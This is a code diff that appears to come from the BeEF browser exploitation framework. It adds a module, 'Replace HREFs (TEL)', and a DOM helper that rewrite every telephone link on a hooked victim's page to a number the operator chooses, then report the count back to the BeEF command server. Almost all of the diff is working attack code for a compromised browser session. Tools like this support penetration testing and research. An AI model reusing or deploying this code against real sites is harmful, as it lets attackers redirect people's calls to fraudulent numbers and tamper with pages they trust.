@@ -194,6 +194,31 @@ beef.dom = {
|
||||
return count;
|
||||
},
|
||||
|
||||
/**
|
||||
* Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
|
||||
* @param: {String} new_number: the new link telephone number to be written
|
||||
* @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
|
||||
* @return: {Number} the amount of links found in the DOM and rewritten.
|
||||
*/
|
||||
rewriteTelLinks: function(new_number, selector) {
|
||||
|
||||
var count = 0;
|
||||
var re = new RegExp("tel:/?/?.*", "gi");
|
||||
var sel = (selector == null) ? 'a' : selector;
|
||||
|
||||
$j(sel).each(function() {
|
||||
if ($j(this).attr('href') != null) {
|
||||
var url = $j(this).attr('href');
|
||||
if (url.match(re)) {
|
||||
$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
|
||||
count++;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
return count;
|
||||
},
|
||||
|
||||
/**
|
||||
* Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
|
||||
* @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
|
||||
|
||||
24
modules/browser/hooked_domain/link_rewrite_tel/command.js
Normal file
24
modules/browser/hooked_domain/link_rewrite_tel/command.js
Normal file
@@ -0,0 +1,24 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
var tel_number = "<%= @tel_number %>";
|
||||
var selector = "a";
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+beef.dom.rewriteTelLinks(tel_number, selector)+' telephone (tel) links rewritten to '+tel_number);
|
||||
|
||||
});
|
||||
|
||||
25
modules/browser/hooked_domain/link_rewrite_tel/config.yaml
Normal file
25
modules/browser/hooked_domain/link_rewrite_tel/config.yaml
Normal file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
link_rewrite_tel:
|
||||
enable: true
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Replace HREFs (TEL)"
|
||||
description: "This module will rewrite all the href attributes of telephone links (ie, tel:5558585) to call a number of your choice."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["ALL"]
|
||||
28
modules/browser/hooked_domain/link_rewrite_tel/module.rb
Normal file
28
modules/browser/hooked_domain/link_rewrite_tel/module.rb
Normal file
@@ -0,0 +1,28 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Link_rewrite_tel < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{ 'ui_label'=>'Number', 'name'=>'tel_number', 'description' => 'New telephone number', 'value'=>'5558585', 'width'=>'200px' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user